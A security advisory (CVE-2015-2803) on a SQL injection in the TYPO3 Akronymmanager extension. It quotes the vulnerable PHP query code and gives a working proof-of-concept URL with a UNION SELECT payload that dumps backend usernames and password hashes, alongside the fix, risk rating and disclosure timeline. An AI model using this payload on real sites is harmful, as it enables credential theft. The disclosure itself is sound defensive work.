TYPO3 Extension Akronymmanager 0.5.0 SQL Injection

`Advisory: SQL Injection in TYPO3 Extension Akronymmanager  
  
An SQL injection vulnerability in the TYPO3 extension "Akronymmanager"  
allows authenticated attackers to inject SQL statements and thereby read  
data from the TYPO3 database.  
  
  
Details  
=======  
  
Product: sb_akronymmanager  
Affected Versions: <=0.5.0  
Fixed Versions: 7.0.0  
Vulnerability Type: SQL Injection  
Security Risk: medium  
Vendor URL: http://typo3.org/extensions/repository/view/sb_akronymmanager  
Vendor Status: fixed version released  
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-002  
Advisory Status: published   
CVE: CVE-2015-2803  
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2803  
  
  
Introduction  
============  
  
"The Acronym Manager adds special explanatory markup to acronyms, abbreviations  
and foreign words on the whole site following the requirement to accessible web  
content.  
  
It provides a backend module to administer a list of words to generate new HTML  
elements for explanatory markup."  
  
(from the extension's documentation)  
  
  
More Details  
============  
  
Users with the respective privileges can maintain acronyms through the  
Akronymmanager extension pages in the TYPO3 backend web interface.  
  
In the extension's file mod1/index.php, an SQL query is generated like  
follows (line 357 and following):  
  
[...]  
$pageID = t3lib_div::_GET("id");  
if ($pageID) $where = "uid='$pageID' AND ";  
$result = $GLOBALS['TYPO3_DB']->exec_SELECTquery('title,uid', 'pages',  
$where.'hidden="0" AND deleted="0"','sorting');  
[...]  
  
The value of the user-supplied HTTP GET parameter 'id' is used without  
sanitizing it before its use in the subsequent SQL statement. Therefore,  
attackers are able to manipulate the resulting SQL statement and inject  
their own queries into the statement.  
  
  
Proof of Concept  
================  
  
When requesting the following URL, the vulnerability is exploited to yield all  
usernames and hashes from the TYPO3 be_users database:  
  
------------------------------------------------------------------------  
http://www.example.org/typo3conf/ext/sb_akronymmanager/mod1/index.php?  
id=379%27%20UNION%20SELECT%20(SELECT%20group_concat(username,%27:%27,password)  
%20FROM%20be_users),2%20--%20  
------------------------------------------------------------------------  
  
The login credentials are then embedded in the HTML page that is  
returned:   
  
[...]  
<!-- Section header -->  
<h2>user1:$hash,user2:$hash[...]</h2>  
[...]  
  
  
Workaround  
==========  
  
Only give trusted users access to the Akronymmanager extension in the  
TYPO3 backend.  
  
  
Fix  
===  
  
Upgrade the extension to version 7.0.0.  
  
  
Security Risk  
=============  
  
An attacker who has access to the backend part of the Akronymmanager  
extension may send SQL queries to the database. This can be used to read  
arbitrary tables of the TYPO3 database and may ultimately result in a  
privilege escalation if the TYPO3 users' password hashes can be cracked  
efficiently. Depending on the database configuration, it might also be  
possible to execute arbitrary commands on the database host. As the  
attack requires an attacker who already has backend access, the  
vulnerability is estimated to pose only a medium risk.  
  
  
Timeline  
========  
  
2015-02-25 Vulnerability identified  
2015-03-04 Customer approved disclosure to vendor  
2015-03-10 CVE number requested  
2015-03-10 Vendor notified  
2015-03-26 CVE number requested again  
2015-03-31 CVE number assigned (request #2)  
2015-03-31 Vendor notified again  
2015-03-31 Vendor responded  
2015-04-08 Vendor announced fixed version available at the end of April  
2015-05-13 Requested update from vendor  
2015-05-15 Vendor requests more time  
2015-05-21 Requested update from vendor  
2015-05-22 Vendor states that upload to extension registry doesn't work  
2015-06-03 Requested update from vendor  
2015-06-10 Vendor uploads new version to extension registry  
2015-06-15 Advisory published  
  
  
  
RedTeam Pentesting GmbH  
=======================  
  
RedTeam Pentesting offers individual penetration tests performed by a  
team of specialised IT-security experts. Hereby, security weaknesses in  
company networks or products are uncovered and can be fixed immediately.  
  
As there are only few experts in this field, RedTeam Pentesting wants to  
share its knowledge and enhance the public knowledge with research in  
security-related areas. The results are made available as public  
security advisories.  
  
More information about RedTeam Pentesting can be found at  
https://www.redteam-pentesting.de.  
  
  
--   
RedTeam Pentesting GmbH Tel.: +49 241 510081-0  
Dennewartstr. 25-27 Fax : +49 241 510081-99  
52068 Aachen https://www.redteam-pentesting.de  
Germany Registergericht: Aachen HRB 14004  
Geschäftsführer: Patrick Hof, Jens Liebchen  
`